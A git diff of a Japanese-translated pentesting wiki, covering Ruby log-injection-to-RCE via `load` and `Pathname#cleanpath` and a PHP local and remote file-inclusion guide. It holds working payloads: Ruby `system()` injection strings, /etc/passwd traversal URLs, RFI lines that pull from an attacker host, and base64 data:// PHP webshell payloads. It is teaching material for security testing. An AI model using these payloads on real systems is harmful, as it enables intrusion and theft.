+Notes: +- 古いアプリは AES-256-CBC と `encrypted cookie` / `signed encrypted cookie` のようなソルト、または JSON/Marshal シリアライザを使用していることがあります。ソルト、cipher、serializer を適宜調整してください。 +- 侵害や評価の際は、既存のクッキーを無効化するために `secret_key_base` をローテートしてください。 ## See also (Ruby/Rails-specific vulns) @@ -92,9 +92,84 @@ puts "Forged cookie: #{CGI.escape(forged)}" {{#endref}} +## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling -## 参考 +アプリ(多くは単純な Rack/Sinatra/Rails エンドポイント)が両方を満たす場合: + +- ユーザー制御の文字列をそのままログに記録し、 +- その後(`Pathname#cleanpath` を経て)同じ文字列から派生したパスのファイルを `load` する、 + +ログを汚染してからアプリにログファイルを `load` させることで、しばしば remote code execution を達成できます。主な要素: + +- Ruby の `load` はファイル拡張子に関係なく対象ファイルの内容を Ruby として評価します。内容が Ruby としてパースできる任意の読み取り可能なテキストファイルは実行されます。 +- `Pathname#cleanpath` はファイルシステムにアクセスせずに `.` と `..` セグメントを畳み込むため、path smuggling を可能にします。攻撃者制御の不要な文字列をログ用に先頭に追加しても、正規化されたパスは依然として意図した実行対象のファイルを指します(例: `../logs/error.log`)。 + +### Minimal vulnerable pattern +```ruby +require 'logger' +require 'pathname' + +logger = Logger.new('logs/error.log') +param = CGI.unescape(params[:script]) +path_obj = Pathname.new(param) + +logger.info("Running backup script #{param}") # Raw log of user input +load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath +``` +### なぜログに有効なRubyが含まれる可能性があるのか +`Logger` はプレフィックス行を次のように書きます: +``` +I, [9/2/2025 #209384] INFO -- : Running backup script +``` +Rubyでは、`#`はコメントの始まりで、`9/2/2025`は単なる算術です。 有効なRubyコードを注入するには、次を行う必要があります: +- ペイロードを新しい行で開始し、INFO行の`#`でコメントアウトされないようにする。先頭に改行を送る(`\n` または `%0A`)。 +- INFO行で導入されたぶら下がった`[`を閉じる。一般的なトリックは` ] `で始め、任意でパーサを満足させるために`][0]=1`を使うことです。 +- その後、任意のRubyコードを配置する(例:`system(...)`)。 + +Example of what will end up in the log after one request with a crafted param: +``` +I, [9/2/2025 #209384] INFO -- : Running backup script +][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log +``` +### コードをログに書き込み、かつログパスに解決される単一の文字列をすり抜けさせる +攻撃者が制御する1つの文字列が欲しい。条件は次の通り: +- 生のままログに記録されたときに、我々のRubyペイロードを含んでいること、 +- `Pathname.new().cleanpath` に渡されたときに `../logs/error.log` に解決され、その後の `load` が毒されたログファイルを実行すること。 + +`Pathname#cleanpath` はスキームを無視し、トラバーサル要素を縮約するため、次のように動作する: +```ruby +require 'pathname' + +p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log") +puts p.cleanpath # => ../logs/error.log +``` +- `://`の前の`#`は、ログが実行されるときにRubyが末尾を無視することを保証し、`cleanpath`はそれでもサフィックスを`../logs/error.log`に短縮します。 +- 先頭の改行はINFO行から抜け出し、`]`はぶら下がった角括弧を閉じ、`][0]=1`がパーサを満たします。 + +### エンドツーエンドのエクスプロイト +1. バックアップスクリプト名として次の文字列を送信します(必要に応じて最初の改行を`%0A`でURLエンコードしてください): +``` +\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log +``` +2. アプリは生の文字列を`logs/error.log`に記録します。 +3. アプリは`cleanpath`を計算し、それが`../logs/error.log`に解決されて`load`を呼び出します。 +4. Rubyはログに注入したコードを実行します。 + +CTFのような環境でファイルをexfiltrateするには: +``` +\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log +``` +URL-encoded PoC (最初の文字は改行です): +``` +%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log +``` +## 参考資料 - Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670 - GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v +- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44) +- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath) +- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html) +- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index 652644ea4..249b7b2b7 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -13,11 +13,11 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump ```bash msf> auxiliary/scanner/vmware/vmware_http_login ``` -有効な認証情報を見つけた場合、さらに多くの metasploit scanner modules を使用して情報を取得できます。 +有効な資格情報を見つけた場合、さらに多くの metasploit scanner modules を使用して情報を取得できます。 -### 参照 +### 関連 -VMware Tools service discovery を介した Linux LPE (CWE-426 / CVE-2025-41244): +VMware Tools service discovery 経由の Linux LPE (CWE-426 / CVE-2025-41244): {{#ref}} ../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 035ff61d2..75866a1be 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,14 +4,14 @@ ## File Inclusion -**Remote File Inclusion (RFI):** ファイルはリモートサーバーから読み込まれる(理想的には、自分でコードを書きサーバー上で実行させられる)。 phpではデフォルトで**無効**です(**allow_url_include**)。\ -**Local File Inclusion (LFI):** サーバーがローカルファイルを読み込む。 +**Remote File Inclusion (RFI):** ファイルはリモートサーバーからロードされます(ベスト: あなたがコードを書き、サーバーがそれを実行します)。phpではこれはデフォルトで**無効**です(**allow_url_include**)。\ +**Local File Inclusion (LFI):** サーバーはローカルファイルをロードします。 -脆弱性は、ユーザーがサーバーが読み込むファイルを何らかの方法で制御できる場合に発生する。 +この脆弱性は、ユーザーがサーバーによってロードされるファイルを何らかの方法で制御できる場合に発生します。 -脆弱な **PHP 関数**: require, require_once, include, include_once +影響を受ける **PHP functions**: require, require_once, include, include_once -この脆弱性を悪用するための興味深いツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) +この脆弱性をexploitするための興味深いツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Blind - Interesting - LFI2RCE files ```python @@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**いくつかの \*nix LFI リストを組み合わせ、さらにパスを追加してこれを作成しました:** +**\*nix のいくつかの LFI リストを組み合わせ、さらにパスを追加して作成したもの:** {{#ref}} @@ -29,7 +29,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion また `/` を `\` に変更してみてください\ また `../../../../../` を追加してみてください -脆弱性の存在を確認するためにファイル /etc/password を検出するための複数の手法を使用したリストは [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) にあります +複数の手法を使ってファイル /etc/password を探す(脆弱性が存在するか確認するための)リストは [こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) にあります。 ### **Windows** @@ -43,15 +43,15 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion また `/` を `\` に変更してみてください\ また `C:/` を削除して `../../../../../` を追加してみてください -脆弱性の存在を確認するためにファイル /boot.ini を検出するための複数の手法を使用したリストは [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) にあります +複数の手法を使ってファイル /boot.ini を探す(脆弱性が存在するか確認するための)リストは [こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) にあります。 ### **OS X** linux の LFI リストを確認してください。 -## 基本的な LFI とバイパス +## Basic LFI and bypasses -すべての例は Local File Inclusion 向けですが、Remote File Inclusion にも適用できます (page=[http://myserver.com/phpshellcode.txt\\](). +すべての例は Local File Inclusion 用ですが、Remote File Inclusion にも適用できます(page=[http://myserver.com/phpshellcode.txt\\]()。 ``` http://example.com/index.php?page=../../../etc/passwd ``` @@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -提供された文字列の末尾にさらに文字を追加する処理をbypassする (bypass of: $\_GET\['param']."php") +指定された文字列の末尾にさらに文字が付加されるのをbypassする (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` -これは **PHP 5.4 以降で修正されています** +これは **PHP 5.4 以降で解決済み** ### **エンコーディング** -double URL encode (and others) のような非標準エンコーディングを使用できます: +非標準のエンコーディング(double URL encode など)を使用できます: ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd @@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### 既存のフォルダから -おそらく back-end がフォルダパスをチェックしています: +バックエンドがフォルダパスをチェックしている可能性があります: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` -### サーバーのファイルシステム内のディレクトリ探索 +### サーバ上のファイルシステムのディレクトリ探索 -サーバーのファイルシステムは、特定の手法を用いることで、ファイルだけでなくディレクトリも再帰的に探索できます。このプロセスでは、ディレクトリの深さを特定し、特定のフォルダの存在を確認します。以下はその具体的な方法です: +サーバのファイルシステムは、特定の手法を用いて再帰的に調査することで、ファイルだけでなくディレクトリも特定できます。このプロセスでは、ディレクトリの深さを判定し、特定のフォルダの存在をプローブすることが含まれます。以下はそのための詳細な方法です: -1. **ディレクトリの深さを特定する:** `/etc/passwd` ファイルを正しく取得できることで現在のディレクトリの深さを判定します(サーバーがLinuxベースの場合)。例として、深さが三を示すURLは次のような構成になることがあります: +1. **ディレクトリの深さを判定する:** `/etc/passwd` を正常に取得できるかどうかで、現在のディレクトリの深さを確認します(サーバがLinuxベースの場合に適用)。例として、深さが3であることを示すURLは次のような構成になる可能性があります: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Probe for Folders:** 疑わしいフォルダ名(例: `private`)をURLに追加し、その後 `/etc/passwd` に戻ります。追加のディレクトリ階層のため、depth を1増やす必要があります: +2. **フォルダを調査する:** 疑わしいフォルダ名(例: `private`)をURLに追加し、その後 `/etc/passwd` に再度アクセスします。追加のディレクトリレベルがあるため、深さを1つ増やす必要があります: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **結果を解釈する:** サーバの応答はフォルダが存在するかどうかを示します: -- **エラー / 出力なし:** 指定した場所に `private` フォルダが存在しない可能性があります。 -- **`/etc/passwd` の内容:** `private` フォルダの存在が確認されます。 -4. **再帰的な探索:** 発見したフォルダは、同じ手法や従来の Local File Inclusion (LFI) 手法を使ってサブディレクトリやファイルをさらに調査できます。 +3. **Interpret the Outcomes:** サーバーの応答はフォルダの存在を示します: +- **Error / No Output:** 指定した場所にフォルダ `private` は存在しない可能性が高い。 +- **Contents of `/etc/passwd`:** フォルダ `private` の存在が確認されます。 +4. **Recursive Exploration:** 発見したフォルダは、同じ手法や従来の Local File Inclusion (LFI) 手法を使って、サブディレクトリやファイルをさらに調査できます。 -ファイルシステムの別の場所にあるディレクトリを調べるには、payload を適宜調整してください。例えば、現在のディレクトリが深さ3にあると仮定して、`/var/www/` に `private` ディレクトリが含まれているか確認するには、次を使用します: +ファイルシステムの別の場所にあるディレクトリを調べるには、payloadをそれに合わせて調整してください。例えば、現在のディレクトリが深さ3にあると仮定して、`/var/www/` に `private` ディレクトリが含まれているか確認するには、以下を使用します: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation はウェブアプリケーションのファイルパスを操作するための手法です。ファイルパスの末尾に追加の文字を付加するなどのセキュリティ対策を回避して、制限されたファイルにアクセスするために使われることが多いです。目的は、セキュリティ対策によって変更された後も目的のファイルを指すようなファイルパスを作成することです。 +Path truncationは、ウェブアプリケーションのファイルパスを操作するために用いられる手法です。ファイルパスの末尾に追加文字列を付加するようなセキュリティ対策を回避して、制限されたファイルにアクセスするために使われることが多いです。目的は、セキュリティ対策によって変更された後でも、依然として目的のファイルを指すようにファイルパスを作成することです。 -In PHP、ファイルシステムの性質上、同じファイルパスが異なる表記で等価と見なされることがあります。例えば: +In PHPでは、ファイルシステムの性質上、ファイルパスの様々な表現が同等に扱われることがあります。例えば: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` はすべて同じパスとして扱われます。 - When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file. -- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed. +- 同様に、ファイルパスに `.php` が付加されている場合(例: `shellcode.php`)、末尾に `/.` を追加してもアクセスされるファイルは変わりません。 -以下の例は、機密性の高い内容(ユーザーアカウント情報)を含むことが多いため一般的なターゲットである `/etc/passwd` にアクセスするために path truncation を利用する方法を示しています: +以下の例は、機密情報(ユーザーアカウント情報)を含むため一般的なターゲットである `/etc/passwd` にアクセスするために path truncation を利用する方法を示しています: ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -これらのシナリオでは、必要な traversals の数は約2027 に達することがありますが、この数はサーバの設定によって変わる可能性があります。 +In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration. -- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) と追加のドットセグメントや文字を組み合わせることでファイルシステムを移動でき、サーバが付加した文字列を実質的に無視させることができます。 -- **Determining the Required Number of Traversals**: 試行錯誤によりルートディレクトリへ、さらに `/etc/passwd` へ到達するために必要な正確な `../` シーケンスの数を見つけられます。サーバが付加した文字列(例えば `.php`)を無効化しつつ、目的のパス(`/etc/passwd`)を維持できます。 -- **Starting with a Fake Directory**: 存在しないディレクトリ(例: `a/`)でパスを始めるのは一般的な手法です。この手法は予防措置として、あるいはサーバのパス解析ロジックの要件を満たすために使われます。 +- **Using Dot Segments and Additional Characters**: トラバーサルシーケンス(`../`)を追加のドットセグメントや文字と組み合わせることで、ファイルシステムを移動でき、サーバが付加した文字列を実質的に無視できます。 +- **Determining the Required Number of Traversals**: 試行錯誤により、ルートディレクトリまで、そして `/etc/passwd` へ移動するのに必要な正確な `../` の数を特定できます。`.php` のような付加文字列が無効化されても、目的のパス(`/etc/passwd`)がそのまま残ることを確認します。 +- **Starting with a Fake Directory**: 存在しないディレクトリ(例: `a/`)でパスを開始するのは一般的な手法です。この手法は予防措置として、またはサーバのパス解析ロジックの要件を満たすために使われます。 -When employing path truncation techniques、サーバのパス解析の挙動やファイルシステム構造を理解しておくことが重要です。シナリオごとに異なるアプローチが必要になる場合があり、最も効果的な手法を見つけるためにはテストが必要になることが多いです。 +When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method. -**この脆弱性は PHP 5.3 で修正されました。** +**This vulnerability was corrected in PHP 5.3.** ### **Filter bypass tricks** ``` @@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -phpではこれはデフォルトで無効になっています。理由は **`allow_url_include`** が **Off.** だからです。動作させるには **On** にする必要があり、その場合は自分のサーバーからPHPファイルをincludeしてRCEを得ることができます: +phpではデフォルトで無効になっています。これは **`allow_url_include`** が **Off.** になっているためです。動作させるには **On** にする必要があり、その場合はあなたのサーバーからPHPファイルをincludeしてRCEを得ることができます: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -何らかの理由で **`allow_url_include`** が **On** で、しかし PHP が外部ウェブページへのアクセスを **filtering** している場合、[according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)、例えば data protocol と base64 を使って b64 PHP コードをデコードし、egt RCE を得ることができます: +もし何らかの理由で **`allow_url_include`** が **On** で、しかし PHP が外部ウェブページへのアクセスを **filtering** している場合、[according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)、例えば data プロトコルと base64 を使って b64 の PHP コードをデコードし RCE を得ることができます: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> 前のコードでは、最後の `+.txt` は攻撃者が `.txt` で終わる文字列を必要としていたため追加されました。文字列はそれで終わり、b64 decode 後、その部分は単なるゴミを返し、本来の PHP コードがインクルードされ(したがって、実行され)ます。 +> 前のコードでは、最後の `+.txt` は攻撃者が `.txt` で終わる文字列を必要としていたため追加されました。つまり文字列は `.txt` で終わり、b64 decode の後、その部分は単なるゴミとなり、実際の PHP コードが含まれ(したがって実行され)ます。 -別の例 **`php://` プロトコルを使用しない** は次のようになります: +別の例 **`php://` プロトコルを使用しない** は次のとおりです: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Python の Root 要素 +## Python のルート要素 -Pythonでは、次のようなコードの場合: +次のような code 内の python では: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -ユーザーが **absolute path** を **`file_name`** に渡すと、**前のパスは単に削除されます**: +ユーザーが**absolute path**を**`file_name`**に渡すと、**previous path**は単に削除されます: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -これは[the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)に記載されている意図された動作です: +これは [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) による意図された動作です。 -> もしあるコンポーネントが絶対パスであれば、それ以前の全てのコンポーネントは破棄され、結合はその絶対パスのコンポーネントから継続されます。 +> もしコンポーネントが絶対パスである場合、それ以前の全てのコンポーネントは破棄され、結合はその絶対パスのコンポーネントから続行されます。 -## Java ディレクトリ一覧 +## Java: ディレクトリ一覧 -どうやら、JavaでPath Traversalがあり、ファイルではなく**ディレクトリを要求すると**、**ディレクトリの一覧が返される**ようです。他の言語では起きないようです(afaik)。 +JavaでPath Traversalがある場合、ファイルの代わりに**ディレクトリを要求すると**、**ディレクトリの一覧が返されます**。私の知る限り、他の言語ではこのようなことは起こりません。 -## 上位25のパラメータ +## トップ25のパラメータ -以下はlocal file inclusion (LFI) の脆弱性の対象になり得る上位25のパラメータの一覧です(出典: [link](https://twitter.com/trbughunters/status/1279768631845494787)): +以下は、local file inclusion (LFI) の脆弱性を突かれる可能性があるトップ25のパラメータのリストです(出典: [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd") ?mod={payload} ?conf={payload} ``` -## PHP wrappers & プロトコルを使った LFI / RFI +## LFI / RFI — PHP wrappers とプロトコルの利用 ### php://filter -PHP filters は、データが読み取られたり書き込まれたりする前に基本的な **データの変更操作** を行うことを可能にします。フィルタには5つのカテゴリがあります: +PHP filters は、データが読み取られたり書き込まれたりする前に基本的な**データの変更操作**を行うことを可能にします。フィルタは5つのカテゴリがあります: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: データからタグを削除します("<" と ">" 文字の間のすべて) +- `string.strip_tags`: データからタグを除去します("<" と ">" の間のすべての内容) - Note that this filter has disappear from the modern versions of PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv..`)。サポートされている**すべてのエンコーディングの一覧**を取得するにはコンソールで `iconv -l` を実行してください。 +- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv..`)。サポートされている全てのエンコーディングのリストを得るにはコンソールで `iconv -l` を実行してください。 > [!WARNING] -> `convert.iconv.*` の変換フィルタを悪用すると、**任意のテキストを生成**でき、任意のテキストを書き込んだり、include のような関数に任意のテキストを処理させたりするのに役立ちます。詳細は [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) を参照してください。 +> `convert.iconv.*` 変換フィルタを悪用すると **任意のテキストを生成する** ことができ、任意のテキストを書き込んだり、include のような関数に任意テキストを処理させるのに役立ちます。詳しくは [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) を参照してください。 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: コンテンツを圧縮します(大量の情報を外部へ取り出す場合に便利) +- `zlib.deflate`: コンテンツを圧縮します(大量の情報を exfiltrating する際に有用) - `zlib.inflate`: データを展開します - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : 非推奨 - `mdecrypt.*` : 非推奨 - Other Filters -- php で `var_dump(stream_get_filters());` を実行すると、いくつかの **予期しないフィルタ** が見つかります: +- PHPで `var_dump(stream_get_filters());` を実行すると、いくつかの**予期しないフィルタ**が見つかります: - `consumed` -- `dechunk`: HTTP の chunked encoding を逆変換します +- `dechunk`: HTTPのchunkedエンコーディングを元に戻します - `convert.*` ```php # String Filters @@ -275,35 +275,42 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the ### php filters を oracle として使用して任意のファイルを読む -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) では、サーバーから出力を直接受け取らずにローカルファイルを読む手法が提案されています。この手法は、**php filters を oracle として用いたファイルの boolean exfiltration(文字ごと)** に基づきます。これは php filters がテキストを十分に大きくして php に例外を発生させるために使えるからです。 +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) では、サーバーから出力が直接返されない状態でローカルファイルを読む手法が提案されています。この手法は **boolean exfiltration of the file (char by char) using php filters** を oracle として用いることに基づいています。これは php filters がテキストを十分に大きくして PHP に例外を発生させるために使用できるからです。 -元記事には手法の詳細な説明がありますが、ここでは簡単な要約を示します: +原著には手法の詳細な説明がありますが、ここでは簡単な概要を示します: -- **`UCS-4LE`** コーデックを使用して、先頭文字をそのままにして文字列のサイズを指数的に増やす。 -- これにより、初期文字が正しく推測されたときに **非常に大きなテキスト** が生成され、php が **エラー** を引き起こす。 -- **dechunk** フィルタは、**最初の文字が16進数でない場合にすべてを削除する** ため、最初の文字が16進数かどうかを判定できる。 -- これと前述の手法(および推測した文字に応じた他のフィルタ)を組み合わせることで、十分な変換を加えて最初の文字が16進数でなくなるタイミングを観察することで、テキスト先頭の文字を推測できる。もし16進数であれば dechunk は削除せず、初期の“爆弾”が php のエラーを引き起こす。 -- コーデック **convert.iconv.UNICODE.CP930** は各文字を次の文字に変換する(例: a -> b)。これにより、例えば最初の文字が `a` かどうかを判別できる。なぜならこのコーデックを6回適用すると a->b->c->d->e->f->g となり、その文字はもはや16進数の文字ではなくなり、したがって dechunk は削除せず、初期の“爆弾”と相乗して php のエラーが発生するからである。 -- 先頭で **rot13** のような他の変換を使うと、n, o, p, q, r のような文字を leak することが可能(他のコーデックを使って別の文字を16進数範囲に移動させることもできる)。 -- 最初の文字が数字の場合は base64 エンコードを行い、先頭2文字を leak して数字を判別する必要がある。 -- 最後の問題は、**先頭の1文字以上をどう leak するか**である。**convert.iconv.UTF16.UTF-16BE**, **convert.iconv.UCS-4.UCS-4LE**, **convert.iconv.UCS-4.UCS-4LE** のような order memory filters を使うと、文字の順序を入れ替えてテキストの他の文字を先頭に持ってくることが可能になる。 -- さらにデータを取得するためのアイデアは、**convert.iconv.UTF16.UTF16** で先頭に**2バイトのジャンクデータを生成**し、**UCS-4LE** を適用してそれを次の2バイトとピボットさせ、**ジャンクデータまでデータを削除する**(これにより元のテキストの先頭2バイトが削除される)ことを繰り返して、目的の位置に到達するまで続けるというものです。 +- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially. +- これは、初期文字が正しく推測されたときに **非常に大きなテキスト** を生成し、PHP が **error** を起こすように使われます。 +- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex. +- dechunk フィルタは先頭文字が hexadecimal でない場合に **すべてを削除する** ため、先頭文字が hex かどうかを判断できます。 +- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error. +- これを前述の手法(および推測した文字に応じた他のフィルタ)と組み合わせることで、十分な変換を施したときに先頭文字が hexadecimal でなくなるタイミングを観察してテキストの先頭文字を推測できます。もし hex であれば dechunk は削除せず、初期の“爆弾”が PHP の error を引き起こします。 +- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb. +- codec **convert.iconv.UNICODE.CP930** は各文字を次の文字に変換します(例: a -> b)。これにより、例えば先頭文字が `a` かどうかを判別できます。なぜならこの codec を6回適用すると a->b->c->d->e->f->g となり、もはや hexadecimal 文字でなくなるため dechunk は削除せず、最初の“爆弾”と掛け合わさって PHP error が発生するからです。 +- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range). +- 最初に **rot13** のような他の変換を使うことで、n, o, p, q, r のような他の文字を leak することが可能です(他の codecs を使えば別の文字を hex 範囲に移すこともできます)。 +- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number. +- 先頭文字が数字の場合は base64 エンコードして最初の2文字を leak する必要があります。 +- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text. +- 最終的な問題は **先頭文字以上のデータをどうやって leak するか** です。convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE のような order memory filters を使うことで文字の順序を変更し、先頭位置にテキストの他の文字を持ってくることが可能になります。 +- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak. +- さらにデータを取得するための考え方は、まず **convert.iconv.UTF16.UTF16** で先頭に2バイトのジャンクデータを生成し、**UCS-4LE** を適用してそれを次の2バイトと pivot させ、ジャンクデータまでデータを削除する(これにより初期テキストの先頭2バイトが削除される)というものです。これを leak したい位置に到達するまで繰り返します。 -記事ではこれを自動化するツールも公開されています: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +投稿ではこの操作を自動化するツールも leak されており: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。 ### php://fd -この wrapper はプロセスが開いているファイルディスクリプタにアクセスすることを可能にします。開かれているファイルの内容を外部に持ち出すのに潜在的に有用です: +この wrapper はプロセスが開いている file descriptors にアクセスすることを可能にします。開かれているファイルの内容を exfiltrate するのに有用な可能性があります: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -また **php://stdin, php://stdout and php://stderr** を使って、それぞれ **file descriptors 0, 1 and 2** にアクセスすることもできます(攻撃でどう役立つかは不明です) +また、**php://stdin, php://stdout and php://stderr** を使って、それぞれ **file descriptors 0, 1 and 2** にアクセスできます(攻撃でどのように役立つかは不明) -### zip:// と rar:// +### zip:// and rar:// -PHPShellを含むZipまたはRarファイルをアップロードしてアクセスします.\ -rarプロトコルを悪用するには、**明示的に有効化されている必要があります**. +PHPShell を内部に含む Zip または Rar ファイルをアップロードしてアクセスします。\ +rar protocol を悪用するには、**特別に有効化されている必要があります**。 ```bash echo "
